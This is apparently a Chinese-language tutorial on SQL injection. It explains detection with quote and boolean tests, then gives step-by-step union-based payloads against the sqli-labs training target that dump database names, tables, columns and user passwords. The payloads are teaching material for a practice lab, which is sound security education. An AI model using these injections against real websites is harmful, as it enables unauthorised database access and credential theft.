一、什么是sql注入?
SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。
SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
二、sql注入的危害
(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
三、如何发现sql注入?
那么,我们怎么去发现sql注入漏洞呢?
最简单的方法,在参数后面加上单引号,such as:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
通常sql注入漏洞分为两种类型:
- 数字型
- 字符型
数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下: select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原理:
当输入 and 1=1时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。 再假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x' and 1=1--+'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型判断
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下: select * from <表名> where id = ‘x’ 这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:
Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’='2 页面运行错误,则说明此 Sql 注入为字符型注入。
四、sql注入的知识点
首先就是大家刚刚看到的,先测试是否存在sql注入漏洞,在参数的后面添加单引号:
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1'--+
如果是,那就存在字符型注入。**--+
**在这里代表注释,含义不执行后面的操作。
然后就是一系列的sql代码:
1、在单引号后面加上**order by
**,那么数据库的sql语句就会变成这样:
select * where id='1' order by 3
把数字一直往上加,直到报错,这样就可以判断数据库有几列。
2、在单引号后面加上一个**union
,然后让本应查询到的语句查询不到数据,这样能确保union
**查询到的数据能够成功显示出来,数据库sql语句如下:
select * where id='-1' union select ...
3、在union后面添加一个**select 1,2,3--+
**,这样我们就能看到显示出来的内容是哪一列,方便后续操作。
4、在union后面添加一些数据库本身提供的函数,如database(),version()等等,并且想办法让它们显示出来。such as:
select * where id='-1' union select 1,database(),version()--+
数据库名可以让我们进行更深一步的操作,而数据库的版本我们就能知道数据库自带的一些函数。
5、在知道数据库名的前提下,我们就可以通过数据库的名称将其里面的表名全部查询出来,such as:
select * where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'--+
这里的group_concat函数是将一系列的内容组合起来,这样我们就能获得其的所有表明。information_schema.tables表示该数据库下的tables表,点表示下一级。意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
6、知道了表名,那么就可以开始搞字段拉,和前面查询表名差不多,通过表名去查询字段名,such as:
select * where id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'--+
意思是查询information_schema数据库下的columns表里面,table_users字段内容是users的所有column_name的内容。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
7、知道了字段,就能把这个表的所有数据爆出来了,such as:
select * where id='-1' union select 1,2,group_concat(username , password) from users--+
五、实战
这里我使用的是sql-labs,通过PHP study所搭建的靶机,可以自己玩玩,也可以自己去网上找,但是现在存在这种的应该较少了,提醒一句:我国《刑法》第二百八十六条规定了“破坏计算机信息系统罪”的刑事法律责任。 恶意删除数据库,在判处“破坏计算机信息系统罪”的情形下,一般可以处五年以下有期徒刑或者拘役; 如果后果特别严重的,处五年以上有期徒刑 。如果自己找到了,并且成功注入的可以去漏洞盒子发一下。
**第一步:**首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
**第二步:**爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
**第三步:**获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1'union select 1,database(),version()--+
第四步: 爆表。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
**第五步:**爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+